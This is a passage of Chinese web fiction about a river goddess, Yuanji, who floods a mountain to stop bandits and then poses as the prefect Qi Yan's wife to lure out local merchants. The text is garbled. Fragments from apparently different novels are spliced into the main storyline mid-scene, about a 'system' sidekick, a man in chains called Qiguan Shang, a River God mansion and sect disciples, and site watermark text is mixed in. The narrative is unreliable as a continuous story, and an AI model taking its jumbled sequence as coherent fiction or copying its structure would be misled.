阿统作为河神系统,自然知道有关河神的所有信息。像这种民间故事,有时也会被它当成日常消遣看上几眼。 “百姓觉得肯定是这河神平日太过孤单寂寞了,因此决定给河神娶个媳妇来让河神忙碌起来,让他少些空闲时间兴风作浪。” “于是他们就选了一名貌美的村民,换上红裙以嫁娶之礼献给河神,以求获得河神的庇佑,保佑来年风调雨顺。” “谁知这河神接受了百姓给他娶的媳妇,竟然真的再也没有兴风作浪。” 酷暑炎炎,吴州环城河旁的土地庙中,土地神盘腿坐在了一处阴凉的地方,手上捧着西瓜,一个木勺子挖了西瓜中心最好吃的那一块肉。 他张开嘴,乐滋滋地准备往嘴里塞,结果大地剧烈晃动一下,勺子上的西瓜肉直接掉在了石子路上。 土地神睁圆了眼睛看着西瓜,又看向面前的环城河,河水本是顺流,此刻突然颤动,水流改变了方向,往另一处流去了。 他立刻放下了西瓜朝水流的方向看去,正是舟山! 土地神哎哟一声,伸手拍了拍自己的大腿:“元吉喂!你要是回来看我不打断你的腿!” 元吉发动山洪了。 这么大面积的水灾,应当要受到上苍的指示才可以发动的,元吉用自己的法术贸然行动,土地神又得给她背上这个祸。 舟山顶上突生异变,溪水逆流,河中的水大量涌入了舟山,导致山上大片树木倒塌,洪水从山顶一直往山脚下流去。 正在潜伏慢慢往山下移动的山匪们谁也没料到会有这个变化,现在是盛暑,山中的水本就有些稀缺,加上最近没怎么下雨,更别说出现山洪这一类的事情。 只是没想到,大部分潜藏在山中林中的山匪,都被这突然从河流溪流分支出来的水给冲倒在地,倒在了林子里不断撞击在树木或者石头,显少有人能爬上树躲过这么大的水。 站在山脚下的兵队有两人正在聊天。 其中一人擦了擦额头的汗水道:“来这儿几个月了,差不多该回去了吧?” 另一个人伸手扇了扇风:“你没听说吗?知府要回来了,咱们在这儿待不了几日的,等这舟山上最后的山匪给解决了,就能回去了。” 另一人抿了抿嘴:“我还挺想我媳妇儿的。” “我还想我的大胖小子呢,尽说些没用的。” 一串水流流到了两人的脚下,那两人愣了愣,回头朝山里面看去:“怎么会有水?” 那原本细细的一条水流越来越大,其中夹杂了许多泥沙,突然有一股大水冲了下来,还好这一处的人都有所准备,猛地往后跳了好些步,才没被这些水给冲倒。 在黄泥水中,还有许多刀剑兵器的残骸。 一名士兵皱着眉头:“山上发生什么了?” 刚问出这句话,便又一个士兵拼命地朝这边跑,等跑到了这一处,双手扶着膝盖在那儿气喘吁吁,他挥着手道:“发山洪了!” “山洪?!”众人都有些不相信,七八十个人围在了一起,的确察觉到山上有些异样,但是这好端端的怎么会突然发山洪了? 那跑过来的男人点头:“是啊!我这儿到你这儿的一里路还好没人看着,全都被冲散了,里面好几个山匪的尸体,你说是不是老天也在帮我们呐?” 几个男人伸手擦了擦被吓出来的冷汗:“谁知道呢。” 元吉操纵水玩儿得算是挺舒服的了,她自身能化作任意形状任意分量的水,一边舞着法术一边顺着水流往山下走,谁也不冲,专门盯着跟着夏将军的一行人冲过去。 不少山匪爬到了树上还能看见有水顺着树干上来的,顿时吓得直哆嗦。 “将军!闹鬼啦!”一人抱着树干不敢动,他的脚正被水流缠住。 那将军大喝一声:“怕什么?!瞎叫什么?!哪儿有什么鬼?” 说归这样说,但他也照样是缠上了一个百年老树,躲在枝丫上不敢下来,低着头看这的确怪异非常,一点儿也没有方向的水流,总觉得头皮发麻。 难不成真的是恶事做多了被鬼神给盯上了? 元吉见好多人都在树上不敢下来,于是想要再冲上去,一股脑地将他们全都给冲到山脚下束手就擒,法术还没使出来,就听见了土地神一声洪钟般洪亮的声音道:“元!吉!” 元吉吓了一跳,知道自己闹山洪的事儿被土地神给捉到了,抬头看了一眼尚且还在树上的夏将军,虽说心里有些不甘,但还是不得不将水势收了回来。 一直被水缠住脚的山匪嗷嗷直叫,闭着眼睛等了好一会儿还没见有什么动静,于是偷偷睁开眼睛看了一眼,他瞧原本将大树一半已经淹去的洪水逐渐下降水位,而今已经到了树根处,即便人站在里面,恐怕水位也只到腰了。 “将军,水退了。”那山匪道。 还在树上闭着眼睛的夏将军听见这话,低头看去,果然见大水退去了。 这水来得奇怪,退得也奇怪,就像是被人操控一样,让人心里发毛。 元吉退了水后,便让所有的水都归于原处了,有些已经分流下去的水,就让它们自然喂养大地。 她自己顺着瀑布回到了环城河中,往土地神的土地庙所在的地方而去。 等到了土地庙那一处,元吉有些无语。 许多鱼虾蟹都排排游在水底,只有人膝盖高的土地神手上握着蒲扇扇风,吹胡子瞪眼地与那些鱼虾蟹都是一个表情,见到元吉回来了,先是哼了一声。 元吉伸手摸了摸鼻子,笑嘻嘻地凑过去:“土地爷~” 土地神伸出一只手:“打住!我看你根本就没把我放在眼里。” 虽说土地神不让元吉靠近,但是元吉还是化作了人形凑到了土地神的身边,弯下腰伸手直接将土地神抱在怀里,撒娇讨好:“哎呀,你别生我的气嘛,有话好好说。” 土地神扭过头,用扇子戳开了元吉的脸,说:“你的本事大了,以前教了一百次都教不会的法术,今天一次给使出来了,河水逆流,瀑布上流,冲断了许多草木,死了许多人,你说说看,你这是要做什么?你是要逆天啊!” 元吉扯着土地神的扇子晃着他:“我也没办法呀,那些山匪都要冲下山了,如果被他们逃离吴州那祁琰怎么办?” “祁琰、祁琰!你满脑子里只有那祁家的小子,你有没有想过你自己?这些山匪是恶人倒还好说,如若其中夹杂着一两个普通百姓,你若将他们淹死了,河神也别当了!等着受天雷惩罚吧!”土地神呵斥她。 元吉背后一僵,知道自己这么做有些冲动,不过她都有很小心翼翼,绝对没有伤害到一个无辜,山下的士兵一人都没有受伤,大部分人都是水都没碰到一下,分流都被她强行往没人的地方冲过去了。 土地神伸手扶额:“唉,真是让我操碎了心哦。” 元吉噘着嘴就坐在旁边,河里的鱼虾蟹纷纷指责:“你就不能让老土地省省心吗?” 元吉对着他们吐了吐舌头:“别说我坏话!” 元吉见土地神还皱着眉头,立刻把他没吃的西瓜端过来,上面还插着一个木勺子,她把西瓜递到了土地神的跟前:“吃瓜?” 土地神见她还笑嘻嘻的,摇了摇头叹口气:“以后不许这么胡来,如果再有下次,记得得和我说一声,不然你说我怎么帮你瞒上苍啊?” 元吉连连点头:“教训的是。” 见元吉这么死皮赖脸,土地神也没有再数落她的意思了,让她回到河里好好反省,这几天都不许出来惹是生非。 元吉立刻举手答应,心想反正山上的山匪被她折腾得也不轻,短时间内应该是不敢下山了,下山的路被阻断了许多,泥土都被大水冲得松软,泥泞不堪,他们的兵器和人马都损失惨重,在祁琰回来之前,只能在山中修养,等待宰割了。 元吉回到了河中没两天,就听小鱼儿给她说祁琰回来了。 祁琰带着护卫几人,还有皇上赏赐的财宝大摇大摆入了城,祁少爷此番舟车劳顿,应该已经在府中休息了。 元吉趴在河岸便,手刚伸出去一点点,就听见土地的一声:“想干嘛去?” 元吉扯了扯嘴角:“晒晒太阳。” “水里晒。” “哦。” 元吉重新回到了水中,也不能偷偷溜出去见祁琰,即便她顺着水流入了城,祁琰也早就已经入府了,更何况土地神只允许她在城外河中晃,只要她偷偷入城,就会被捉住。 谁让吴州的整片大地上一只蚂蚁走在哪儿土地神都知道呢。 元吉缩回了水里,与小鱼儿聊了聊祁琰的事,不过小鱼儿知道的不多,只说五千人马在临州休息了,到了吴州境内就直往舟山方向去了,恐怕是担心舟山上的山匪会强行冲下山。 天色渐暗,小鱼儿也离开这出了,元吉平躺在河面上仰着漂浮,她隐身了,所以没人瞧见,匆匆回城的几个人路过石桥瞥也没朝这儿瞥一眼。 元吉看着头顶上的星空,长长地呼出一口气,心里想着祁琰现在肯定已经躺在床上睡好觉了。 回来也不知道往环城河边绕一圈,这样好歹还能让她看一眼。 两人一别几个月,心里总归是有牵挂的。 元吉刚闭上眼睛,就听见旁边传来了动静,她转头朝那边看去,土地庙的周围不知道为什么突然出现了四个人,衣着装扮都差不多。 元吉揉了揉眼睛,眯着看过去,认出了几个人。 护卫甲、护卫乙、护卫丙、护卫丁四人双手叉腰,前后左右分别站在了只有膝盖高的石土地庙面前,四双眼睛死死地盯着土地庙。 护卫甲:“若有人出来怎么办?” 护卫乙:“打。” 护卫丙:“不好吧?好歹是神仙啊。” 护卫丁:“拉着就好了。” “我找你,找了好久啊。” 阿统猛得一惊。 这、这、这画面……它怎么有股不祥的预感。 元吉沉默一瞬。 元吉思考。 元吉觉得眼熟。 这红盖头,这红嫁衣,这……这貌美男子! 第 69 章 第六十九章 第六十九章 “元吉,要不先把人捞上来?再泡下去,他快不行了。”阿统蹲在元吉肩头小声提醒,试图打破这两人大眼瞪小眼的诡异画面。 元吉看着水中的这人轻微喘/息着,不断有水珠从他发梢滚落没入那暗红衣襟,底下是雪白透着青色的皮肤随着他的呼吸轻微颤抖着。 那人一错不错地望着元吉,蒙蒙水雾萦绕在他长睫之间,阳光掠过时眼底的乞求便像是冲破牢笼向她伸出求救的双手。 他的唇在缓缓退去血色。他的身体在不住地颤抖。 “他好像快冷死了。” 祁琰逗元吉逗够了,于是收敛了笑容问她:“如何啊?” 元吉挑眉看向他:“难道我还有别的路可走?” 祁琰单手撑着下巴,状似认真地想了想,随后又慎重地回答她:“没有。” 元吉一瞬沉默了下来,她抿着嘴,眉心微皱,假扮成祁琰的夫人可不是开玩笑的事儿,势必参与了他的剿匪计划,而并非帮个小忙那么简单了。 可他身为知府,是吴州的父母官,剿匪也是理所应当,拉上自己为了什么?不论从哪儿算都算不上她这份儿啊,难不成这些年她示弱惯了,祁琰也就嚣张惯了? 元吉侧脸叹了口气:“你为何偏偏就是与我过不去呢?” 祁琰听见这话,脸上的笑僵了僵,随后转身,双手背在身后直接忽略了元吉这一问。他牵着马,翻身上了马后道:“你就在这儿等我,我去通知他们过来。” 祁琰纵马离开的时候,元吉朝他的背影瞧了许久,不论脑中如何拼,也无法将眼前这高大俊朗的男子与他孩童时期链接在一起了。 自己当初就不应该从水里出来还他的糖,也不应该在还笔的时候顺便问了他的名字。 否则也不会有接下来这么荒唐又麻烦的事。 堂堂河神,大小也是个神仙,被人间的知府耍得团团转,一句填河就能威胁一辈子,她未免也活得太过窝囊了些。 元吉叹了口气,在一旁的树下找了块干净的石头,躲着阳光坐上去,一手作扇状扇风。 “罢了,就当是前世欠他的吧。” 元吉并未等多久,祁琰骑马过去约一刻钟左右便归来了,其身后还跟着浩浩荡荡的队伍。 四个眼熟的侍卫纷纷贴上了假胡子,坐在马上,身后则是五六个随从还有一个马夫。 马夫驾驶着马车,随从护卫着马车后跟着的两个货车,板车上的行礼好几箱,用油布包裹着,麻绳缠了几道,看上去也并非多富贵的样子,马车也是很普通的小马车。 元吉抬起头看过去,祁琰正对着她笑。 “要我如何就直说,别笑吟吟的。”他一笑,元吉就觉得自己背后开始冒汗了。 祁琰道:“马车内有衣服,还请夫人入车换上,咱们这就进城了。” 他叫夫人叫得特别顺嘴,元吉的脸皮没那么厚,听见这两个字的时候不可遏制地红了脸。一手捂住脸一手遮住额头,她弯着腰低着脑袋,以别扭的姿势一路小跑到马车边,几下便钻了进去。 马上的四名护卫同时抬手摸了摸自己新帖的假胡子,心想我家大人的眼光不错,未来的夫人还挺可爱。 元吉进了马车便能直接看见衣服了,她掀开马车的车帘朝走在最前面与自己护卫说笑的祁琰,又看了一眼马车内上等布料制作的妇人衣物,颜色相近,花纹相同,走出去说不是夫妻都没人信。 她靠在马车内,树影透过纸糊的车窗投了进来,阳光落在了那套崭新的衣服上,她抿了抿嘴,最终还是闭上眼睛,叹了口气后伸手提起衣服,指尖抖了抖,那衣服便从手中消失,转瞬便整齐地穿戴在自己的身上。 衣服下面压着的珠宝首饰也露了出来,除了一副珍珠耳坠之外,还有一根精雕细琢的发簪,发簪的顶上是浅蓝色的宝石,雕刻着细致的水纹,水纹之下还有镂空的金花上面点缀着珍珠,与耳坠倒是配套。 元吉摸了摸自己的耳朵,已经许久没戴过首饰,好在拿着耳坠摸索的过程中,总算是将这两样东西穿在了自己的耳朵上,再看向发簪,伸手拿起,随后簪在了头发上。 马车顺着小路沿着环城河并未去知府所在的城池,而是绕过这一处,去了距离舟山山匪更近的一座城,城门有人把守,进出都得给钱。 原是不要钱的,不过因为这座城临近山匪窝点,并不安生,守门的风险也更大。起先收钱也是守城门的为了赚取过往商人的费用来犒劳自己,久而久之,不论是谁进城都得缴费,已成规矩。 守门的见祁琰又是随从又是行李的,一身行头看上去也富贵的很,故而便叫了个高价钱。祁琰倒是将过往商人扮演的淋漓尽致,出手也很大方,护卫甲立刻从荷包里拿出了相应的银子递过去,一行人这才入城。 刚入了城,祁琰脸上便扬起了那皮笑肉不笑的表情,侧头对护卫甲说一句:“方才那两个可以回家了。” 坐在马车里的元吉听见这话,顿时笑了起来,无奈地摇了摇头。 分明富可敌国,偏偏抠得要死。 既然是外来的商人,在城内自然是没有府邸的,祁琰顺着城中大路找了个看上去较好的客栈,一行人便在客栈内住下了。 祁琰扶元吉下马车的时候还上下打量了她几眼,颇为满意地点头:“好看。” 元吉没理他,径自入了客栈。 之前因为祁琰的关系,元吉也并不常去其他城池,只在那一处逗留,此番到了这处也算是有新鲜感,故而晚间祁琰提出要带她出去吃饭时,元吉没有犹豫便答应了。 虽说现在还不清楚他要搞什么鬼,总不见得能做什么坏事。 元吉推门出去的时候,祁琰正站在门口挺直了腰背,见元吉出来于是勾着自己的胳膊,摆明了让元吉挽着他。 元吉扯了扯嘴角,伸手挽着他的胳膊,两人从二楼下来,一身绫罗绸缎与一楼大堂内穿着普通衣服的人尤其格格不入,顿时周围人的目光都落在了他们俩的身上。 祁琰给了护卫甲一个眼神,护卫甲便上前问掌柜的:“城中最有名的酒楼是哪家?” 掌柜的一瞧这两人不像是普通人家的模样,于是便将百宴楼的名号说出来,顺便给他们指了路,原也不远,就隔了一条街,不过架不住人家有钱,一刻钟便能走到的路,偏偏要坐着马车去。 外表普通的马车停在百宴楼门前时,还没人上前招呼,等祁琰领着元吉入了百宴楼,才有人过来问他们要用些什么菜色。 祁琰对着小厮笑了笑,放平了声音道:“我要最好的隔间,最好的酒菜。” 元吉的眼神还在百宴楼中打量,来这里面的人并不多,大抵都是有钱人才能来消费,不过整个吴州的有钱人并不多,会入百宴楼,应当就是谈生意了。 祁琰与小厮说好了,便侧脸对着元吉笑:“夫人,咱们上楼去吧。” 元吉本来还在观察周围的商人,听见这软绵绵轻柔的一句话,手臂上的鸡皮疙瘩都起来了,再看向祁琰笑得人畜无害的那张温柔的脸,犹如鬼附身了一样。 她张了张嘴,祁琰保持温和的微笑挑了挑眉,元吉顿时点头道:“好。” 百宴楼的饭菜的确很好,食材与摆盘都不是普通酒楼里能做出来的,一道道精美的菜色端上桌时,元吉就已经忍不住吞了吞口水了。 祁琰侧过头问护卫甲:“这一桌多少钱?” 护卫甲算了算道:“一百三十多两。” 元吉在旁边听见顿时瞪大了眼睛,侧身拉着祁琰的袖子:“你疯啦?” 祁琰颇为满意地点头:“恐怕百宴楼的老板此刻已经笑开了花儿了吧。” 护卫乙又道:“老板已经过来了。” 祁琰听闻,目光朝长廊尽头瞧去,果然见一个挺着大肚腩四十多岁的男人捋了捋胡子走过来,脸上堆满了笑意。 要知道祁琰这一桌饭菜可抵得上他这百宴楼近半个月的开销,一餐饭菜便如此铺张浪费,他不来见识或拉拢,又如何算得上一个合格的商人。 百宴楼的老板站在门前还未进来,便被护卫丙与护卫丁拦住,二人异口同声道:“我家主人与夫人正在用餐,闲人不得进去。” 虽说不能进去,但是看还是能看见的。 祁琰加了块鱼肉放在了元吉的碗里,元吉用眼神瞧向他,低声问:“当真能吃?” 祁琰笑了笑,也压低了声音反问:“你以为不吃就能退吗?” “……”元吉沉默了片刻:“你娘知道你如此铺张浪费吗?” 祁琰突然大了声音问:“怎么?不好吃吗?” 元吉瞧了一眼自己刚抬起来的筷子,愣了愣,她还没吃呢。 祁琰又道:“既然夫人吃不惯,那咱们便走吧。” 说罢,祁琰拉着元吉的手站了起来,元吉的筷子叮当一声落在了碗碟中,她看向满桌子就动了一块鱼肉的菜,没搞懂祁琰在做什么。 那厢祁琰已经皱起眉头,对着身后的人吩咐道:“去将马车牵来,走了。” 站在门外的老板见到了一幕,有些没搞懂,那夫人也就吃了一口鱼,如何就吃不惯了?他见祁琰走出来,擦了擦额头上的汗水道:“这……这位公子,可是小店有何照顾不周的地方?饭菜还没吃便要走啊。” 祁琰像是这才瞧见老板似的,道:“哦,并非如此,只是我家夫人水土不服,用不惯罢了,既然饭菜上桌银钱还是要照付的。” 说罢,护卫甲便拿了一张一百五十两面额的银票递给了老板,又道:“剩下的便是我家主人赏的了。” 老板瞧了一眼银票,确认没问题,这才慢慢侧身,目送那彬彬有礼的公子牵着不言不语的夫人离开。 出了百宴楼元吉就问祁琰:“银票是假的吧?” “真的。”祁琰理所当然。 “你花一百五十两点了一桌饭菜一口也不让我吃便拉我出来。”元吉认真地看向对方:“你没事儿吧?” 祁琰看着元吉笑了笑,伸手拍着她的头道:“水里待久了脑子也不清醒了,我如何会做赔本的事?这也只是一开始而已。” 元吉瞧他笑得自信,眸光在夜色灯火下微微发亮,又低头看了一眼对方还搂在自己腰间的手,顿时侧身挪开一步。 祁琰还有些不解,元吉便转身钻进了马车里。 入了马车,元吉才想,陪他如同孩子玩闹般演什么假扮夫妻挥祁钱财的游戏,自己当真是疯了。 她伸手揉了揉眉心,还是得去土地庙一趟。 “尊上啊……你好不容易醒来,竟糟此毒手,是老奴没用啊。没有照顾好你……” 老者见挣脱无望,撒手将拐杖往旁边一扔,扒拉着铁链嚎啕大哭起来,正是性情中人。 亓官上再次沉默。他捂着额角,只觉得头好痛,偏偏还没办法装作听不见。 “他,是族中一直照顾我的老仆。” “与我一同被驱逐出族,我们,相依为命。” 亓官上神情落寞,说的话是听者伤心,闻者落泪。 只是在元吉瞧不见的低头瞬间,冷冽的视线狠狠扫过囚笼中的老者,后者顿时安静如鸡,不敢再多嚎半分。 元吉颔首,“原来如此。” 亓官上忙不迭将她的手再次按在心口,“元吉可还要再试试?” 第 70 章 第七十章 第七十章 河神府。 “亓官修士,家中可还有几口人啊?”向易之将一碟燕枯新做的点心递到亓官上面前,装作不经意间问道,“今日便安心在河神府住下,可需遣人家去报个平安?” 这河神府中的食材并不多,但是界碑外山谷中有一处灵植长得极好,加上燕枯那出神入化的手艺,将那娇嫩欲滴的花瓣摘下制成点心,香气更为诱人。 亓官上并不喜甜食,他抬手将那碟子接过便疏离地道了声谢,整个人斜斜倚着院中的那棵枯树,目光紧紧追随着远处元吉的身形。 漆黑的眸中时不时闪过几分遗憾的神色,瞧得向易之心下咋舌。 瞧这幽怨的眼神,啧,不知是从哪跑来的痴情种,“真是可惜了。” 摆摊的男人原是个教书先生,趁着花灯节弄了写字画与灯谜出来玩儿,若有人能闯了全关,便将自己的字画悉数送出,其中还有一副朝中丞相的亲笔。 书生男子是个秀才,为的也是丞相亲笔,这才为在这处看了灯谜,已经连续答对了七八道题了,引得过往的女子都停留在这处瞧他。 元吉挤了进去,也凑在人群中看,她没读过几本书,只能认得一些普通的字,看见这新的一题上写的是:远看山有色,近听水无声,春去花还在,人来鸟不惊。 书生在原地踏了几步正想,元吉回头问了祁琰一句:“你知道是什么吗?” 祁琰瞥了一眼四句话,伏在元吉的耳边道:“画。” 元吉立刻睁圆了眼睛拍手:“对啊!是画!” 声音过大,那书生还没猜出来便直接被人说出答案,于是朝元吉瞧来。 元吉见周围人都看向自己,忍不住往后退了一步,直接退到了祁琰的怀中。 祁琰的手在她腰后抵了抵:“怕什么,去猜。” 摆摊的老者伸手摸了摸胡子笑道:“姑娘好聪明,的确是画。”又转头对着书生道:“如此,你可有个对手了,接下来的题不如二人一起作答,题面结束前谁答对的多,老朽的字画就归谁。” 元吉摆了摆手:“我……我方才只是不小心说出来了,我不猜的,还是让这位公子继续吧。” 书生抬着下巴有几分傲骨道:“姑娘不必谦虚,猜猜又何妨。” 下一题作出,题纸铺在了桌面上,写道:新时白头,旧时黑发,忙时奔走,闲时高挂。 书生拧眉正想着,祁琰在元吉后面嗤地笑了一声,低声道:“夫人,是笔。” 元吉朝书生看了看,等了会儿对方还没想出来,这才开口:“是……笔。” 书生一锤手心,朝元吉瞪了一眼,教书先生道:“又是姑娘胜了一筹。” 几道题下来,书生没占一点儿优势,元吉完全看不懂题面,但是祁琰都能在第一时间将答案告诉她,眼看她答对的题目已经与书生之前答对的持平,只剩下最后一题。 陶令最怜伊,山径细栽培,群芳冷落后,独自殿东篱。 四句题面出来的时候,元吉第一时间朝祁琰瞧去,祁琰刚对她说了个菊字,那头的书生便笑道:“是菊花!” 教书先生夸了句:“公子才智过人。”而后便将字画都递给了那书生,书生拿了字画路过元吉身边的时候,一双眼睛凌厉地打量她一番,几乎是抬着下巴从她身边走过的。 元吉撇了撇嘴,突然听到旁边一个人道:“这位姑娘,你方才怎敢一直猜对,即便知道答案也不能说呀,这可是季家公子,不能得罪的!” 站在元吉身后的祁琰来了兴趣:“季家公子?在下初入吴州,只听过祁家,这季家是何人?” 那人哗一声:“祁家自是不提,咱们吴州谁也比不过,可那祁家毕竟是后来入吴州的,来吴州也不过才二十年。季家在吴州却有几十年的根基,而且与陈县令又是亲家,你们如此得罪,他恐怕会找你们麻烦哦。” 旁边的另一人也附和:“是了!这芙蓉镇中的花灯会便是季家投银子办的,否则咱们吴州人人生活拮据,哪儿有现在这般排场。” 祁琰若有所思,另一个人便指着一处道:“哎,你们瞧,那便是季老爷。” 祁琰与元吉顺着那人手指的方向瞧去,果然瞧见一个衣着不菲,有几分大人物气质的男人昂首挺胸地走在前头,身后跟着仆人几个,与那方才赏花时在台上说话的乡绅交谈。 元吉一开始只瞧见了那人的背影,结果对方转过身来的时候,她猛地定在了原地。浑身上下像是被冻僵了般,身体里所有的热度都被抽走。 元吉睁圆了眼睛看向那男人,心口仿佛打鼓般砰砰直跳,一颗心脏就要从嘴里跳了出来,她呼吸困难,脑中嗡嗡直响,这感觉不久之前在舟山上见到那个山匪头子时,亦是如此。 这人是谁? 好生熟悉…… 分明从未见过,可这张脸偏偏与记忆中的某长脸重叠,那人有些贼眉鼠眼,绝非而今这般深沉稳重,张口似乎在胆怯地说着些什么,与某人有关,似乎还有……小孩儿的哭声。 “走了。” 祁琰转身,却未见元吉跟上,回头看去,那人还站在原处,紧紧地盯着姓季的男人,脸色苍白,额头上汗水凝结滑下脸庞。 “元吉!” 元吉骤然回神,捂着心口猛地喘气。 祁琰扶住她,上次带她离开水太远也没见她这样儿,于是问她:“怎么了?” 元吉闭上眼睛仔细想了想那个男人的容貌,分明叠加在一起的长相却在这个时候模糊了,她再想抬头看去,那男人已经离开,人影多了起来,再也搜寻不到了。 “你身体不适?”祁琰看着她额头的汗水,手指紧了紧:“要送你回河里吗?” 元吉摇头,抿了抿嘴:“只是觉得……算了,没事。” 祁琰知道她不想说,于是将那三个在人群中已经逛得找不着北的护卫给叫了回来,提前结束这场芙蓉镇花灯节之行,出了芙蓉镇,下了山便要坐马车回去。 马车正往鼎丰客栈赶,马车内的祁琰看向元吉,元吉也看他。 车内尚有两人买的三四个花灯,几种颜色交替在一起,将人脸照得有些模糊了。 许久之后,元吉才开口:“你老盯着我做什么?” 祁琰沉默了许久,才道:“你们当神仙的,也会病痛会死吗?” 元吉没想太多,直接认真地回答:“当然有病痛与死亡,我身为河神,身体为水,离水源太久自然会病痛,若有一日吴州的环城河干了,或者是被你给填了,我也当然就会死咯。” 祁琰顿了顿,问她:“那方才你那是什么情况?” 元吉伸手挠了挠头:“我也不知,不是第一次这样了,改明儿我去问问土地神吧。” 祁琰突然站了起来,猫着腰在小马车内走到元吉的身边,靠着她坐下却没看她,而是盯着自己的双手道:“我说要填河,是逗你玩儿的。” 元吉怔了怔,直勾勾地看向他。 祁琰以为她应当有许多话要说的,却没想到她愣了许久,问:“那我可以不当你夫人了?” 马车外,护卫乙与护卫丙打了个哈欠,对着驾驶马车的护卫丁道:“再快些,困了,回去睡觉。” 不过这力量,也不知道比起真的“豪横”该当如何。 “既然怀疑真假,那我今日便使使河神的力量如何?” 元吉抬手,周身渐渐附上一层白光,无悲无喜的黑眸中映出那几人惊恐的神情。 数千道气势恢宏的话音响起。 “横行介士,听召而来。” “拜见河神大人!”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 70-80 第 71 章 第七十一章 第七十一章 “啊!这是什么!” 一名天极宗弟子一脸惊恐尖叫着往同师兄弟身后躲去,手中的长剑胡乱地劈砍着试图击退面前的横行介士。 然长剑落下,眼前的幻想并未如他想象中的消散。铁剑与铠甲碰撞发出“噌”的一声巨响,直逼魂海,震起滔天波澜。 “吼!”横行介士发出一声嘶吼,巨钳一挥,那人手中的剑便飞了出去直直插入远处的土坡中。 “唔!”他吃痛地甩着握剑的手,只觉手臂发麻,“师、师兄……情况不妙!” 才短短一夜的功夫,便有流言在整个城中传开。 说是不知从哪儿来的一对小夫妻,腰缠万贯,那公子出手大方,在百宴楼点了一桌子饭菜碰也没碰,就因为夫人的一句不和胃口便将银钱扔那儿走了。 一百五十两的菜饭,寻常人家听了都觉得不可思议,这钱若是落到他们家来也不知能养活一家老小多少年呢。 豪掷千金的公子哥儿就住在城中的鼎丰客栈内,听鼎丰客栈的掌柜的说,那公子出手的确大方,一来便付足了一个月的房费,短时间内怕是不会走了。 城中商人也有不少,再加上这城由两个县合并而成,南北两县的县令听闻此事,也都觉得惊奇,于是次日一早便有请帖,县令没主动出面,却是通过城中的两个富商来请祁琰了。 祁琰一早起来的时候伸了个懒腰,打着哈欠出门转身便推开了元吉的房门,朝里面瞥了一眼,没瞧见人,于是回头问:“她呢?” 护卫甲:“夫人一早就出去了。” 护卫乙:“而且有些鬼鬼祟祟的样子。” 护卫丙:“特地吩咐我们别与大人说。” 护卫丁:“方向往西。” 祁琰朝西方看了一眼,抬了抬下巴想了一下,城中西侧多香火,还有个土地庙,大约是去找土地神了,于是了然的点头,拍了拍属下的肩膀道:“走,吃饭。” 祁琰坐在桌边,手下人已经将早饭都给备好了,为了显示阔绰的身份,一碗清粥都是用玉碗盛,夹酱瓜的金筷子在清早的阳光下闪光,坐在祁琰隔壁的男人啧了一声钱财如粪土,便端着板凳转身眼不见为净。 祁琰一边吃着清粥小菜,一边听手下人汇报。 护卫甲从怀中拿了帖子道:“大人,城南商人贾有亮请大人去百宴楼用餐。” 护卫乙也从怀中拿出帖子:“城北商人李守财请大人去百宴楼用餐。” 护卫丙顿了顿:“百宴楼老板也请大人……用餐。” 祁琰朝护卫丁瞧去,护卫丁躲开眼神,伸手摸了摸假胡子,低着声音道:“我……我这儿没人请大人用餐。” 祁琰嗯了一声,低头将粥喝光了,这才道:“去李守财那儿,说我会带夫人去。” 护卫乙点头,护卫甲看了看自己手中的帖子,问:“那贾有亮呢?” “名字难听,懒得应付。”祁琰将擦完嘴的丝巾丢在桌上,伸了个懒腰往外走:“找夫人玩儿去。” 护卫甲朝护卫乙看去,眼神带着询问:“李守财比贾有亮好听?” 护卫乙耸肩。 四个男人将腰间的佩剑抓稳,挺起胸膛,跟在祁大人的身后,跨步出了鼎丰客栈,直往城西而去。 城西的大多都是求仙问药的,故而香火很鼎盛,走十步便能看见有人摆摊卖香烛。 这边的庙宇有好几座,只是不连在一起,隔了两条街而已,土地庙也是其中一个,盖得还算高大,香火也不错,庙中的土地神是铜铸的,一清早便有不少人举着香往庙里走。 这大庙是后来修砌的,原先有个小庙,与环城河边的石庙一样,只到膝盖高,落了许多灰,在一座石桥下被挤压了半边儿,与新的大庙正对门。 此刻的元吉就盘腿坐在桥下,对着那被挤了半边的土地庙皱着眉头,一副心事重重的模样。 土地神打了个哈欠,半睁着眼睛看她:“有话直说。” 元吉啧了啧嘴,不知从何开口,又怕自己说的过多土地神嫌她啰嗦,于是简单道:“祁琰拉我当他夫人了。” 土地神猛地睁大了眼睛,石像中的小人儿落了不少灰下来,他的声音高高扬起:“我就知道你们俩之间有猫腻!你现在找我是要做什么?与我说你想当人吗?我告诉你你入神籍了!当不了人了!” “不,不是你想的那样儿。”元吉摆了摆手:“我自然是知道我与他绝无可能,但还是有些困惑,这不是找你来解惑的嘛。” 土地神捋了捋胡子:“说来听听。” “你让我别与凡人走太近,可现在我被他拉去假扮夫妻,他说是为了剿匪才这样儿的,可我瞧不出这与剿匪又有何关系。”元吉单手撑着下巴:“我想问你,我还有没有脱身之法?与他走近了,我心慌。” “你心慌?”土地神皱着眉头:“你动凡心啦?” 元吉愣了一下,随后摇头:“没啊,我是怕死啊,不是你说的嘛,环城河一旦没了,我也就不存在了,可我现在若从他身边逃走,他势必要填河啊。” 土地神顿了顿:“那你就……顺着他点儿吧。” “什么?”元吉以为自己听错了,当初她见祁琰可爱的时候多次去逗弄,土地神拉着她就是一阵数落让她离凡人远一点儿。 现在她过来求方法如何能离祁琰远些,土地神却让她顺着对方? 元吉伸手拨了拨土地神脸上的灰尘:“让我顺着他?你是不知道,他很可怕的,他只要一笑我汗毛都站起来了。” 土地神没反应,元吉眨了眨眼睛,伸手拍了拍被挤歪了的庙顶:“土地爷?你怎么不说话了?” 几次拍了都无果,元吉这才知道自己怕是被对方给抛下了,自己当初结的孽缘还得自己解。 叹了口气,准备起身离开,才一转身便看见祁琰蹲在了她的右侧后方,双手撑着下巴,睁圆了眼睛看着她。 在他的身后分别排着保持同一动作的护卫甲乙丙丁。 元吉:“……” 片刻沉默后,她吞了口口水问:“你何时在这儿的?” 祁琰撇了撇嘴:“刚到,只听见了你说一见我笑汗毛就站起来了这句。” 元吉眨了眨眼睛,六个人蹲在石桥底下,过堂风吹过来的时候,将祁琰的发丝吹得有些乱,几根浮在额头上,那双眼睛遇风却不眨,直勾勾地看着她。 元吉清了清嗓子:“你来找我的?” “嗯。” “找我做什么?” 祁琰弯腰钻出了石桥底下,拍了拍身上的灰尘,而后朝元吉伸手:“带你去玩儿。” 元吉将手放在他手上出了桥底,有些不解:“玩儿?不剿匪吗?” 